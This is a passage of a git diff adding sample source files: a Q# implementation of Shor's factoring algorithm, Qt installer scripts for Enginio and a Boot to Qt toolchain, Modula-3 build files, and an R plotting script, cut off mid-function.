+namespace Microsoft.Quantum.Samples.IntegerFactorization {
+    open Microsoft.Quantum.Intrinsic;
+    open Microsoft.Quantum.Arithmetic;
+    open Microsoft.Quantum.Convert;
+    open Microsoft.Quantum.Canon;
+    open Microsoft.Quantum.Math;
+    open Microsoft.Quantum.Oracles;
+    open Microsoft.Quantum.Characterization;
+    open Microsoft.Quantum.Diagnostics;
+
+    ///////////////////////////////////////////////////////////////////////////////////////////////
+    // Introduction ///////////////////////////////////////////////////////////////////////////////
+    ///////////////////////////////////////////////////////////////////////////////////////////////
+
+    // This sample contains Q# code implementing Shor's quantum algorithm for
+    // factoring integers. The underlying modular arithmetic is implemented
+    // in phase encoding, based on a paper by Stephane Beauregard who gave a
+    // quantum circuit for factoring n-bit numbers that needs 2n+3 qubits and
+    // O(n³log(n)) elementary quantum gates.
+
+    /// # Summary
+    /// Uses Shor's algorithm to factor the parameter `number`
+    ///
+    /// # Input
+    /// ## number
+    /// A semiprime integer to be factored
+    /// ## useRobustPhaseEstimation
+    /// If set to true, we use Microsoft.Quantum.Characterization.RobustPhaseEstimation and
+    /// Microsoft.Quantum.Characterization.QuantumPhaseEstimation otherwise
+    ///
+    /// # Output
+    /// Pair of numbers p > 1 and q > 1 such that p⋅q = `number`
+    operation FactorSemiprimeInteger(number : Int, useRobustPhaseEstimation : Bool) 
+    : (Int, Int) {
+        // First check the most trivial case, if the provided number is even
+        if (number % 2 == 0) {
+            Message("An even number has been given; 2 is a factor.");
+            return (number / 2, 2);
+        }
+        // These mutables will keep track of if we found the factors,
+        // and if so, what they are. The default value for the factors
+        // is (1,1).
+        mutable foundFactors = false;
+        mutable factors = (1, 1);
+
+        repeat {
+            // Next try to guess a number co-prime to `number`
+            // Get a random integer in the interval [1,number-1]
+            let generator = RandomInt(number - 2) + 1;
+
+            // Check if the random integer indeed co-prime using
+            // Microsoft.Quantum.Math.IsCoprimeI.
+            // If true use Quantum algorithm for Period finding.
+            if (IsCoprimeI(generator, number)) {
+
+                // Print a message using Microsoft.Quantum.Intrinsic.Message
+                // indicating that we are doing something quantum.
+                Message($"Estimating period of {generator}");
+
+                // Call Quantum Period finding algorithm for
+                // `generator` mod `number`.
+                // Here we have a choice which Phase Estimation algorithm to use.
+                let period = EstimatePeriod(generator, number, useRobustPhaseEstimation);
+
+                // Set the flag and factors values if the continued fractions
+                // classical algorithm succeeds.
+                set (foundFactors, factors) = MaybeFactorsFromPeriod(number, generator, period);
+            }
+            // In this case, we guessed a divisor by accident.
+            else {
+                // Find a divisor using Microsoft.Quantum.Math.GreatestCommonDivisorI
+                let gcd = GreatestCommonDivisorI(number, generator);
+                
+                // Don't forget to tell the user that we were lucky and didn't do anything
+                // quantum by using Microsoft.Quantum.Intrinsic.Message.
+                Message($"We have guessed a divisor of {number} to be {gcd} by accident.");
+
+                // Set the flag `foundFactors` to true, indicating that we succeeded in finding
+                // factors.
+                set foundFactors = true;
+                set factors = (gcd, number / gcd);
+            }
+        } 
+        until (foundFactors)
+        fixup {
+            Message("The estimated period did not yield a valid factor, trying again.");
+        }
+        
+        // Return the factorization
+        return factors;
+    }
+
+    /// # Summary
+    /// Interprets `target` as encoding unsigned little-endian integer k
+    /// and performs transformation |k⟩ ↦ |gᵖ⋅k mod N ⟩ where
+    /// p is `power`, g is `generator` and N is `modulus`.
+    ///
+    /// # Input
+    /// ## generator
+    /// The unsigned integer multiplicative order ( period )
+    /// of which is being estimated. Must be co-prime to `modulus`.
+    /// ## modulus
+    /// The modulus which defines the residue ring Z mod `modulus`
+    /// in which the multiplicative order of `generator` is being estimated.
+    /// ## power
+    /// Power of `generator` by which `target` is multiplied.
+    /// ## target
+    /// Register interpreted as LittleEndian which is multiplied by
+    /// given power of the generator. The multiplication is performed modulo
+    /// `modulus`.
+    operation ApplyOrderFindingOracle(
+        generator : Int, modulus : Int, power : Int, target : Qubit[]
+    )
+    : Unit
+    is Adj + Ctl {
+        // Check that the parameters satisfy the requirements.
+        Fact(IsCoprimeI(generator, modulus), "`generator` and `modulus` must be co-prime");
+
+        // The oracle we use for order finding essentially wraps
+        // Microsoft.Quantum.Arithmetic.MultiplyByModularInteger operation
+        // that implements |x⟩ ↦ |x⋅a mod N ⟩.
+        // We also use Microsoft.Quantum.Math.ExpModI to compute a by which
+        // x must be multiplied.
+        // Also note that we interpret target as unsigned integer
+        // in little-endian encoding by using Microsoft.Quantum.Arithmetic.LittleEndian
+        // type.
+        MultiplyByModularInteger(ExpModI(generator, power, modulus), modulus, LittleEndian(target));
+    }
+
+    /// # Summary
+    /// Finds a multiplicative order of the generator
+    /// in the residue ring Z mod `modulus`.
+    ///
+    /// # Input
+    /// ## generator
+    /// The unsigned integer multiplicative order ( period )
+    /// of which is being estimated. Must be co-prime to `modulus`.
+    /// ## modulus
+    /// The modulus which defines the residue ring Z mod `modulus`
+    /// in which the multiplicative order of `generator` is being estimated.
+    /// ## useRobustPhaseEstimation
+    /// If set to true, we use Microsoft.Quantum.Characterization.RobustPhaseEstimation and
+    /// Microsoft.Quantum.Characterization.QuantumPhaseEstimation
+    ///
+    /// # Output
+    /// The period ( multiplicative order ) of the generator mod `modulus`
+    operation EstimatePeriod(
+        generator : Int, modulus : Int, useRobustPhaseEstimation : Bool
+    ) 
+    : Int {
+        // Here we check that the inputs to the EstimatePeriod operation are valid.
+        Fact(IsCoprimeI(generator, modulus), "`generator` and `modulus` must be co-prime");
+
+        // The variable that stores the divisor of the generator period found so far.
+        mutable result = 1;
+
+        // Number of bits in the modulus with respect to which we are estimating the period.
+        let bitsize = BitSizeI(modulus);
+
+        // The EstimatePeriod operation estimates the period r by finding an
+        // approximation k/2^(bits precision) to a fraction s/r, where s is some integer.
+        // Note that if s and r have common divisors we will end up recovering a divisor of r
+        // and not r itself. However, if we recover enough divisors of r
+        // we recover r itself pretty soon.
+
+        // Number of bits of precision with which we need to estimate s/r to recover period r.
+        // using continued fractions algorithm.
+        let bitsPrecision = 2 * bitsize + 1;
+
+        // A variable that stores our current estimate for the frequency
+        // of the form s/r. 
+        mutable frequencyEstimate = 0;
+
+        repeat {
+
+            set frequencyEstimate = EstimateFrequency(
+                generator, modulus, useRobustPhaseEstimation, bitsize 
+            );
+
+            if (frequencyEstimate != 0) {
+                set result = PeriodFromFrequency(modulus,frequencyEstimate, bitsPrecision, result);
+            }
+            else {
+                Message("The estimated frequency was 0, trying again.");
+            }
+        }
+        until(ExpModI(generator, result, modulus) == 1)
+        fixup {
+            Message("The estimated period from continued fractions failed, trying again.");
+        }
+
+        return result;
+    }
+
+    /// # Summary
+    /// Estimates the frequency of a generator
+    /// in the residue ring Z mod `modulus`.
+    ///
+    /// # Input
+    /// ## generator
+    /// The unsigned integer multiplicative order ( period )
+    /// of which is being estimated. Must be co-prime to `modulus`.
+    /// ## modulus
+    /// The modulus which defines the residue ring Z mod `modulus`
+    /// in which the multiplicative order of `generator` is being estimated.
+    /// ## useRobustPhaseEstimation
+    /// If set to true, we use Microsoft.Quantum.Characterization.RobustPhaseEstimation else
+    /// this operation uses Microsoft.Quantum.Characterization.QuantumPhaseEstimation
+    /// ## bitsize
+    /// Number of bits needed to represent the modulus.
+    ///
+    /// # Output
+    /// The numerator k of dyadic fraction k/2^bitsPrecision
+    /// approximating s/r.
+    operation EstimateFrequency(
+        generator : Int, 
+        modulus : Int,
+        useRobustPhaseEstimation : Bool, 
+        bitsize : Int
+    )
+    : Int {
+        mutable frequencyEstimate = 0;
+        let bitsPrecision =  2 * bitsize + 1;
+        
+        // Allocate qubits for the superposition of eigenstates of
+        // the oracle that is used in period finding.
+        using (eigenstateRegister = Qubit[bitsize]) {
+
+            // Initialize eigenstateRegister to 1, which is a superposition of
+            // the eigenstates we are estimating the phases of.
+            // We first interpret the register as encoding an unsigned integer
+            // in little endian encoding.
+            let eigenstateRegisterLE = LittleEndian(eigenstateRegister);
+            ApplyXorInPlace(1, eigenstateRegisterLE);
+
+            // An oracle of type Microsoft.Quantum.Oracles.DiscreteOracle
+            // that we are going to use with phase estimation methods below.
+            let oracle = DiscreteOracle(ApplyOrderFindingOracle(generator, modulus, _, _));
+
+            if (useRobustPhaseEstimation) {
+
+                // Use Microsoft.Quantum.Characterization.RobustPhaseEstimation to estimate s/r.
+                // RobustPhaseEstimation needs only one extra qubit, but requires
+                // several calls to the oracle.
+                let phase = RobustPhaseEstimation(bitsPrecision, oracle, eigenstateRegisterLE!);
+                
+                // Compute the numerator k of dyadic fraction k/2^bitsPrecision
+                // approximating s/r. Note that phase estimation projects on the eigenstate
+                // corresponding to random s.
+                set frequencyEstimate = Round(((phase * IntAsDouble(2 ^ bitsPrecision)) / 2.0) / PI());
+            }
+            else {
+                // Use Microsoft.Quantum.Characterization.QuantumPhaseEstimation to estimate s/r.
+                // When using QuantumPhaseEstimation we will need extra `bitsPrecision`
+                // qubits
+                using (register = Qubit[bitsPrecision]) {
+                    let frequencyEstimateNumerator = LittleEndian(register);  
+
+                    // The register that will contain the numerator k of
+                    // dyadic fraction k/2^bitsPrecision. The numerator is an unsigned
+                    // integer encoded in big-endian format. This is indicated by
+                    // use of Microsoft.Quantum.Arithmetic.BigEndian type.
+                    QuantumPhaseEstimation(
+                        oracle, eigenstateRegisterLE!, LittleEndianAsBigEndian(frequencyEstimateNumerator)
+                    ); 
+                    
+                    // Directly measure the numerator k of dyadic fraction k/2^bitsPrecision
+                    // approximating s/r. Note that phase estimation project on
+                    // the eigenstate corresponding to random s.
+                    set frequencyEstimate = MeasureInteger(frequencyEstimateNumerator);
+                }
+            }
+            
+            // Return all the qubits used for oracle's eigenstate back to 0 state
+            // using Microsoft.Quantum.Intrinsic.ResetAll.
+            ResetAll(eigenstateRegister);
+        }
+
+        return frequencyEstimate;
+    }
+
+    /// # Summary
+    /// Find the period of a number from an input frequency.
+    ///
+    /// # Input
+    /// ## modulus
+    /// The modulus which defines the residue ring Z mod `modulus`
+    /// in which the multiplicative order of `generator` is being estimated.
+    /// ## frequencyEstimate
+    /// The frequency that we want to convert to a period. 
+    /// ## bitsPrecision
+    /// Number of bits of precision with which we need to 
+    /// estimate s/r to recover period r using continued 
+    /// fractions algorithm.
+    /// ## currentDivisor
+    /// The divisor of the generator period found so far.
+    ///
+    /// # Output
+    /// The period as calculated from the estimated frequency via
+    /// the continued fractions algorithm.
+    ///
+    /// # See Also
+    /// - Microsoft.Quantum.Math.ContinuedFractionConvergentI
+    function PeriodFromFrequency(
+        modulus : Int, 
+        frequencyEstimate : Int, 
+        bitsPrecision : Int, 
+        currentDivisor : Int
+    )
+    : Int {
+        
+        // Now we use Microsoft.Quantum.Math.ContinuedFractionConvergentI
+        // function to recover s/r from dyadic fraction k/2^bitsPrecision.
+        let (numerator, period) = (ContinuedFractionConvergentI(Fraction(frequencyEstimate, 2 ^ bitsPrecision), modulus))!;
+        
+        // ContinuedFractionConvergentI does not guarantee the signs of the numerator
+        // and denominator. Here we make sure that both are positive using
+        // AbsI.
+        let (numeratorAbs, periodAbs) = (AbsI(numerator), AbsI(period));
+
+        // Return the newly found divisor.
+        // Uses Microsoft.Quantum.Math.GreatestCommonDivisorI function from Microsoft.Quantum.Math.
+        return (periodAbs * currentDivisor) / GreatestCommonDivisorI(currentDivisor, periodAbs);
+    }
+
+    /// # Summary
+    /// Tries to find the factors of `modulus` given a `period` and `generator`.
+    ///
+    /// # Input
+    /// ## modulus
+    /// The modulus which defines the residue ring Z mod `modulus`
+    /// in which the multiplicative order of `generator` is being estimated.
+    /// ## generator
+    /// The unsigned integer multiplicative order ( period )
+    /// of which is being estimated. Must be co-prime to `modulus`.
+    /// ## period
+    /// The estimated period ( multiplicative order ) of the generator mod `modulus`.
+    ///
+    /// # Output
+    /// A tuple of a flag indicating whether factors were found successfully,
+    /// and a pair of integers representing the factors that were found.
+    /// Note that the second output is only meaningful when the first
+    /// output is `true`.
+    ///
+    /// # See Also
+    /// - Microsoft.Quantum.Math.GreatestCommonDivisorI
+    function MaybeFactorsFromPeriod(modulus : Int, generator : Int, period : Int) 
+    : (Bool, (Int, Int)) {
+        // Period finding reduces to factoring only if period is even
+        if (period % 2 == 0) {
+            
+            // Compute `generator` ^ `period/2` mod `number`
+            // using Microsoft.Quantum.Math.ExpModI.
+            let halfPower = ExpModI(generator, period / 2, modulus);
+
+            // If we are unlucky, halfPower is just -1 mod N,
+            // which is a trivial case and not useful for factoring.
+            if (halfPower != modulus - 1) {
+
+                // When the halfPower is not -1 mod N
+                // halfPower-1 or halfPower+1 share non-trivial divisor with `number`.
+                // We find a divisor Microsoft.Quantum.Math.GreatestCommonDivisorI.
+                let factor = MaxI(
+                    GreatestCommonDivisorI(halfPower - 1, modulus), 
+                    GreatestCommonDivisorI(halfPower + 1, modulus)
+                );
+                
+                // Add a flag that we found the factors, and return computed non-trivial factors.
+                return (true, (factor, modulus / factor));
+            } else {
+                // Return a flag indicating we hit a trivial case and didn't get any factors.
+                return (false, (1,1));
+            }
+        } else {
+            // When period is odd we have to pick another generator to estimate
+            // period of and start over.
+            Message("Estimated period was odd, trying again.");
+            return (false, (1,1));
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/Qt Script/installscript.qs b/samples/Qt Script/installscript.qs
new file mode 100644
index 0000000000..19ee2a5a12
--- /dev/null
+++ b/samples/Qt Script/installscript.qs	
@@ -0,0 +1,117 @@
+/****************************************************************************
+**
+** Copyright (C) 2015 The Qt Company Ltd.
+** Contact: http://www.qt.io/contact-us
+**
+** This file is part of the Enginio Qt Client Library.
+**
+** $QT_BEGIN_LICENSE:LGPL21$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and The Qt Company. For licensing terms
+** and conditions see http://www.qt.io/terms-conditions. For further
+** information use the contact form at http://www.qt.io/contact-us.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 or version 3 as published by the Free
+** Software Foundation and appearing in the file LICENSE.LGPLv21 and
+** LICENSE.LGPLv3 included in the packaging of this file. Please review the
+** following information to ensure the GNU Lesser General Public License
+** requirements will be met: https://www.gnu.org/licenses/lgpl.html and
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** As a special exception, The Qt Company gives you certain additional
+** rights. These rights are described in The Qt Company LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+function Component()
+{
+    installer.addWizardPage(component, "QtSelectionPage", QInstaller.ComponentSelection);
+    component.userInterface("QtSelectionPage").complete = false;
+    if (installer.value("os") == "win") {
+        component.userInterface("QtSelectionPage").qmakePathLineEdit.text = "C:\\Qt\\";
+    } else {
+        component.userInterface("QtSelectionPage").qmakePathLineEdit.text = "/";
+    }
+    component.userInterface("QtSelectionPage").qmakePathLineEdit.textChanged.connect(checkQmakePath);
+    component.userInterface("QtSelectionPage").browseButton.clicked.connect(showFileDialog);
+}
+
+checkQmakePath = function()
+{
+    try {
+        qtpath = component.userInterface("QtSelectionPage").qmakePathLineEdit.text;
+        if (installer.fileExists(qtpath)) {
+            if (installer.fileExists(qtpath)) {
+                component.userInterface("QtSelectionPage").complete = true;
+                return;
+            }
+        }
+        component.userInterface("QtSelectionPage").complete = false;
+    } catch (e) {
+        QMessageBox.warning("", "Error Installing Enginio", e);
+    }
+}
+
+showFileDialog = function()
+{
+    try {
+        if (installer.value("os") == "win") {
+            path = QFileDialog.getOpenFileName("Select qmake.exe (in the bin directory of your Qt installation)", "c:\\qt\\", "qmake (qmake.exe)");
+            path = path.replace(/\//g, "\\");
+            component.userInterface("QtSelectionPage").qmakePathLineEdit.text = path;
+        } else {
+            // FIXME on linux the prefixes might be different (bin/lib etc in different places)
+            path = QFileDialog.getOpenFileName("Select qmake (in the bin directory of your Qt installation)", "", "qmake (*qmake)");
+            component.userInterface("QtSelectionPage").qmakePathLineEdit.text = path;
+        }
+    } catch (e) {
+        QMessageBox.warning("", "Error Installing Enginio", e);
+    }
+}
+
+Component.prototype.createOperationsForArchive = function(archive)
+{
+    if (component.name === "com.digia.enginio") {
+        path = component.userInterface("QtSelectionPage").qmakePathLineEdit.text;
+        // remove bin/qmake* from path
+        path = path.replace(/bin.*/, "");
+        if (installer.value("os") === "win") {
+            // On windows Qt is often installed in c:\qt which needs elevated privs
+            component.addElevatedOperation("Extract", archive, path);
+        } else {
+            component.addOperation("Extract", archive, path);
+        }
+    } else {
+        component.addOperation("Extract", archive, "@TargetDir@");
+    }
+}
+
+Component.prototype.createOperations = function()
+{
+    component.createOperations();
+
+    if (installer.value("os") === "win") {
+        component.addOperation("CreateShortcut", "@TargetDir@/examples/examples.pro", "@StartMenuDir@/Enignio Examples.lnk",
+            "workingDirectory=@TargetDir@", "iconPath=%SystemRoot%/system32/SHELL32.dll",
+            "iconId=2");
+    }
+    if (installer.value("os") === "mac" || installer.value("os") === "x11") {
+        try {
+            // patch Qt binaries
+            var script = path + "patcher.py";
+            print(script)
+            component.addOperation("Execute", "{0}", "/usr/bin/python", script);
+            component.addOperation("Execute", "{0}", "/bin/rm", script);
+        } catch( e ) {
+            print( e );
+        }
+    }
+}
\ No newline at end of file
diff --git a/samples/Qt Script/toolchain_installscript.qs b/samples/Qt Script/toolchain_installscript.qs
new file mode 100644
index 0000000000..912404d181
--- /dev/null
+++ b/samples/Qt Script/toolchain_installscript.qs	
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2016 The Qt Company Ltd.
+** Contact: https://www.qt.io/licensing/
+**
+** This file is part of the Boot to Qt meta layer.
+**
+** $QT_BEGIN_LICENSE:GPL$
+** Commercial License Usage
+** Licensees holding valid commercial Qt licenses may use this file in
+** accordance with the commercial license agreement provided with the
+** Software or, alternatively, in accordance with the terms contained in
+** a written agreement between you and The Qt Company. For licensing terms
+** and conditions see https://www.qt.io/terms-conditions. For further
+** information use the contact form at https://www.qt.io/contact-us.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU
+** General Public License version 3 or (at your option) any later version
+** approved by the KDE Free Qt Foundation. The licenses are as published by
+** the Free Software Foundation and appearing in the file LICENSE.GPL3
+** included in the packaging of this file. Please review the following
+** information to ensure the GNU General Public License requirements will
+** be met: https://www.gnu.org/licenses/gpl-3.0.html.
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+function Component()
+{
+}
+
+Component.prototype.createOperations = function()
+{
+    component.createOperations();
+
+    var device = "@MACHINE@"
+    var platform = "@NAME@"
+    var sysroot = "@SYSROOT@"
+    var target_sys = "@TARGET_SYS@"
+    var target = "@TARGET@"
+    var abi = "@ABI@"
+    var installPath = "@INSTALLPATH@/toolchain"
+    var sdkPath = "@SDKPATH@"
+    var sdkFile = "@SDKFILE@"
+
+    var path = installer.value("TargetDir") + installPath;
+    if (systemInfo.kernelType !== "winnt") {
+        var script = path + "/" + sdkFile;
+        component.addOperation("Execute", "{0}", "chmod", "+x", script);
+        component.addOperation("Execute", "{0}", script, "-y", "-d", path, "UNDOEXECUTE", "rm", "-rf", path);
+        component.addOperation("Execute", "{0}", "/bin/rm", script);
+    } else {
+        path = path.replace(/\\/g,"/");
+        component.addOperation("Replace",
+                                path + "/sysroots/i686-pokysdk-mingw32/usr/bin/qt.conf",
+                                sdkPath, path);
+    }
+    var basecomponent = component.name.substring(0, component.name.lastIndexOf("."));
+    var toolchainId = "ProjectExplorer.ToolChain.Gcc:" + component.name;
+    var debuggerId = basecomponent + ".gdb";
+    var qtId = basecomponent + ".qt";
+    var icon = installer.value("B2QtDeviceIcon");
+    var executableExt = "";
+    var hostSysroot = "x86_64-pokysdk-linux";
+    if (systemInfo.kernelType === "winnt") {
+        executableExt = ".exe";
+        hostSysroot = "i686-pokysdk-mingw32";
+    }
+
+    component.addOperation("Execute",
+        ["@SDKToolBinary@", "addTC",
+        "--id", toolchainId + ".gcc",
+        "--name", "GCC (" + platform + " " + target + ")",
+        "--path", path + "/sysroots/" + hostSysroot + "/usr/bin/" + target_sys + "/" + target_sys + "-gcc" + executableExt,
+        "--abi", abi,
+        "--language", "1",
+        "UNDOEXECUTE",
+        "@SDKToolBinary@", "rmTC", "--id", toolchainId + ".gcc"]);
+
+    component.addOperation("Execute",
+        ["@SDKToolBinary@", "addTC",
+        "--id", toolchainId + ".g++",
+        "--name", "G++ (" + platform + " " + target + ")",
+        "--path", path + "/sysroots/" + hostSysroot + "/usr/bin/" + target_sys + "/" + target_sys + "-g++" + executableExt,
+        "--abi", abi,
+        "--language", "2",
+        "UNDOEXECUTE",
+        "@SDKToolBinary@", "rmTC", "--id", toolchainId + ".g++"]);
+
+    component.addOperation("Execute",
+        ["@SDKToolBinary@", "addDebugger",
+        "--id", debuggerId,
+        "--name", "GDB (" + platform + " " + target + ")",
+        "--engine", "1",
+        "--binary", path + "/sysroots/" + hostSysroot + "/usr/bin/" + target_sys + "/" + target_sys + "-gdb" + executableExt,
+        "--abis", abi,
+        "UNDOEXECUTE",
+        "@SDKToolBinary@", "rmDebugger", "--id", debuggerId]);
+
+    component.addOperation("Execute",
+        ["@SDKToolBinary@", "addQt",
+         "--id", qtId,
+         "--name", platform + " " + target,
+         "--type", "Qdb.EmbeddedLinuxQt",
+         "--qmake", path + "/sysroots/" + hostSysroot + "/usr/bin/qmake" + executableExt,
+         "UNDOEXECUTE",
+         "@SDKToolBinary@", "rmQt", "--id", qtId]);
+
+    component.addOperation("Execute",
+        ["@SDKToolBinary@", "addKit",
+         "--id", basecomponent,
+         "--name", platform + " " + target,
+         "--mkspec", "devices/linux-oe-generic-g++",
+         "--qt", qtId,
+         "--debuggerid", debuggerId,
+         "--sysroot", path + "/sysroots/" + sysroot,
+         "--devicetype", "QdbLinuxOsType",
+         "--Ctoolchain", toolchainId + ".gcc",
+         "--Cxxtoolchain", toolchainId + ".g++",
+         "--icon", icon,
+         "UNDOEXECUTE",
+         "@SDKToolBinary@", "rmKit", "--id", basecomponent]);
+}
\ No newline at end of file
diff --git a/samples/Quake/filenames/m3makefile b/samples/Quake/filenames/m3makefile
new file mode 100644
index 0000000000..645aefca79
--- /dev/null
+++ b/samples/Quake/filenames/m3makefile
@@ -0,0 +1,52 @@
+% Copyright (C) 1992, Digital Equipment Corporation
+% All rights reserved.
+% See the file COPYRIGHT for a full description.
+%
+% Last modified on Thu Dec  1 09:42:32 PST 1994 by kalsow
+%      modified on Tue Aug 24 15:08:42 PDT 1993 by heydon
+%      modified on Mon May 24 12:00:19 PDT 1993 by swart
+%      modified on Fri May  7 12:06:08 PDT 1993 by mjordan
+%      modified on Thu Dec 31 16:23:49 PST 1992 by mcjones
+%      modified on Wed May 20 21:18:03 PDT 1992 by muller
+%      modified on Fri Feb 28 13:50:29 PST 1992 by meehan
+
+import ("m3core")
+
+%----------------------------------------------- machine dependent packages ---
+
+include_dir ("os")
+include_dir ("random")
+include_dir ("uid")
+
+%--------------------------------------------- machine independent packages ---
+
+include_dir ("rw")
+include_dir ("fmtlex")
+include_dir ("list")
+include_dir ("sx")
+% include_dir ("types") % which no longer has an m3makefile
+include_dir ("arith")
+include_dir ("geometry")
+include_dir ("statistics")
+include_dir ("formatter")
+include_dir ("params")
+include_dir ("property")
+include_dir ("table")
+include_dir ("atom")
+include_dir ("sortedtable")
+include_dir ("sort")
+include_dir ("sequence")
+include_dir ("etimer")
+include_dir ("bundleintf")
+include_dir ("perftool")
+include_dir ("pqueue")
+include_dir ("sqrt")
+%include_dir ("config") % see m3quake/MxConfig instead
+include_dir ("pickle")
+include_dir ("text")
+include_dir ("hash")
+
+% m3_option ("-times")
+
+Library ("m3")
+
diff --git a/samples/Quake/filenames/m3overrides b/samples/Quake/filenames/m3overrides
new file mode 100644
index 0000000000..6087405737
--- /dev/null
+++ b/samples/Quake/filenames/m3overrides
@@ -0,0 +1,3 @@
+include(ROOT & "/m3overrides")
+M3_FRONT_FLAGS += "-vsdebug"
+_M3BUNDLE_OVERRIDE = "T"
diff --git a/samples/R/2.R b/samples/R/2.R
new file mode 100644
index 0000000000..aa1daa1eac
--- /dev/null
+++ b/samples/R/2.R
@@ -0,0 +1,183 @@
+library(cowplot)
+library(pheatmap)
+library(dplyr)
+
+set.seed(12323414)
+options(stringsAsFactors = FALSE)
+font_size <- 8
+
+gtable_select <- function (x, ...)
+{
+    matches <- c(...)
+    x$layout <- x$layout[matches, , drop = FALSE]
+    x$grobs <- x$grobs[matches]
+    x
+}
+
+gtable_stack <- function(g1, g2){
+    g1$grobs <- c(g1$grobs, g2$grobs)
+    g1$layout <- transform(g1$layout, z= z-max(z), name="g2")
+    g1$layout <- rbind(g1$layout, g2$layout)
+    g1
+}
+
+get_a <- function() {
+    d <- read.csv("data/2a.csv")
+
+    d[d$Hierarchy == "Kolodziejczyk", ]$Hierarchy <- "Kolodz."
+
+    d$Hierarchy <- factor(
+        d$Hierarchy,
+        levels = c("Biase", "Yan", "Goolam", "Deng", "Pollen1", "Pollen2",
+                   "Kolodz.", "Treutlein", "Ting",
+                    "Patel", "Usoskin1", "Usoskin2", "Usoskin3",
+                    "Klein", "Zeisel")
+    )
+
+    d$Method <- factor(
+        d$Method,
+        levels = c("SC3", "tSNE+kmeans", "pcaReduce", "SNN-Cliq", "SINCERA", "SEURAT")
+    )
+
+    cols <- c("Biase" = "#bc80bd", "Treutlein" = "#8dd3c7", "Ting" = "#ffffb3",
+              "Yan" = "#ccebc5", "Goolam" = "#ffed6f", "Deng" = "#bebada",
+              "Pollen1" = "#fb8072", "Pollen2" = "#fb8072",
+              "Patel" = "#80b1d3", "Usoskin1" = "#fdb462", "Usoskin2" = "#fdb462",
+              "Usoskin3" = "#fdb462", "Kolodz." = "#bf812d",
+              "Klein" = "#b3de69", "Zeisel" = "#fccde5", "Macosko" = "#d9d9d9")
+
+    meth_cols <- c(
+        "SC3" = "#e41a1c",
+        "tSNE+kmeans" = "#377eb8",
+        "pcaReduce" = "#40E0D0",
+        "SNN-Cliq" = "#984ea3",
+        "SINCERA" = "#ff7f00",
+        "SEURAT" = "#ffff33"
+    )
+
+    d1 <- d %>%
+        group_by(Method, Hierarchy) %>%
+        dplyr::summarise(Median = median(ARI))
+
+    p <- ggplot(d, aes(x = 1, y = ARI, fill = Method, group = Method)) +
+        geom_bar(data = d1, aes(y = Median), position="dodge", stat="identity") +
+        geom_point(position = position_jitterdodge(jitter.width = 0.45, dodge.width = 0.9), size = 0.4) +
+        facet_wrap(ncol = 5, ~ Hierarchy) +
+        scale_fill_manual(values = meth_cols) +
+        scale_colour_manual(values = meth_cols) +
+        geom_hline(yintercept = 0.8) +
+        labs(x = "") +
+        theme_classic(base_size = font_size) +
+        theme(axis.ticks.x = element_blank(), axis.text.x=element_blank(),
+              axis.title.x=element_blank(), axis.line=element_blank(),
+              legend.key.size = unit(0.4, "cm")) +
+        annotate("segment", x=-Inf, xend=Inf, y=-Inf, yend=-Inf, color = "black")+
+        annotate("segment", x=-Inf, xend=-Inf, y=-Inf, yend=Inf, color = "black")
+
+
+    dummy <- ggplot(d, aes(x = 1, y = ARI, fill = Method)) +
+        facet_wrap(ncol = 5, ~ Hierarchy) +
+        geom_rect(aes(fill = Hierarchy), xmin=-Inf, xmax=Inf, ymin=-Inf, ymax=Inf) +
+        scale_fill_manual(values = cols) +
+        theme_minimal()
+
+    g1 <- ggplotGrob(p)
+    g2 <- ggplotGrob(dummy)
+
+    panels <- grepl(pattern="panel", g2$layout$name)
+    strips <- grepl(pattern="strip-t", g2$layout$name)
+    g2$layout$t[panels] <- g2$layout$t[panels] - 1
+    g2$layout$b[panels] <- g2$layout$b[panels] - 1
+
+    new_strips <- gtable_select(g2, panels | strips)
+
+    new_plot <- gtable_stack(g1, new_strips)
+    return(new_plot)
+}
+
+get_c <- function() {
+    cols <- c("Treutlein" = "#8dd3c7", "Ting" = "#ffffb3", "Deng" = "#bebada",
+              "Pollen2" = "#fb8072", "Patel" = "#80b1d3",
+              "Kolodziejczyk" = "#bf812d", "Usoskin3" = "#fdb462",
+              "Klein" = "#40E0D0", "Zeisel" = "#fccde5", "Macosko" = "#d9d9d9")
+
+    d <- read.csv("data/2c.csv")
+
+    d$Dataset <- factor(
+        d$Dataset,
+        levels = c(
+            "Deng",
+            "Pollen2",
+            "Kolodziejczyk",
+            "Patel",
+            "Usoskin3",
+            "Klein",
+            "Zeisel",
+            "Macosko"
+        )
+    )
+
+    d$Fraction <- factor(
+        d$Fraction,
+        levels = sort(unique(as.numeric(d$Fraction)))
+    )
+
+    p <- ggplot(d, aes(x = 1, ARI, fill = Dataset, color = Dataset)) +
+        geom_boxplot(position = position_dodge(width = 1.5), outlier.size = 0.8) +
+        geom_hline(yintercept = 0.8) +
+        labs(x = "# of training cells as % of N", y = "ARI") +
+        scale_fill_manual(values = cols) +
+        scale_colour_manual(values = cols) +
+        facet_grid(. ~ Fraction) +
+        theme_classic(base_size = font_size) +
+        theme(axis.ticks.x = element_blank(), axis.text.x=element_blank(),
+              axis.title.x=element_blank(), axis.line=element_blank(),
+              strip.background = element_rect(colour = "white"),
+              legend.key.size = unit(0.4, "cm")) +
+        ylim(0,1) +
+        annotate("segment", x=-Inf, xend=Inf, y=-Inf, yend=-Inf, color = "black")+
+        annotate("segment", x=-Inf, xend=-Inf, y=-Inf, yend=Inf, color = "black")
+    p <- ggdraw(p) +
+        draw_label("% of total # of cells\nin a training set",
+                   fontface = "bold",
+                   size = font_size-3,
+                   x = 0.87, y = 0.93)
+    return(p)
+}
+
+get_d <- function() {
+    d <- readRDS("data/2d.rds")
+    ann <- data.frame(Stage = factor(d$cell.names, levels = unique(d$cell.names)))
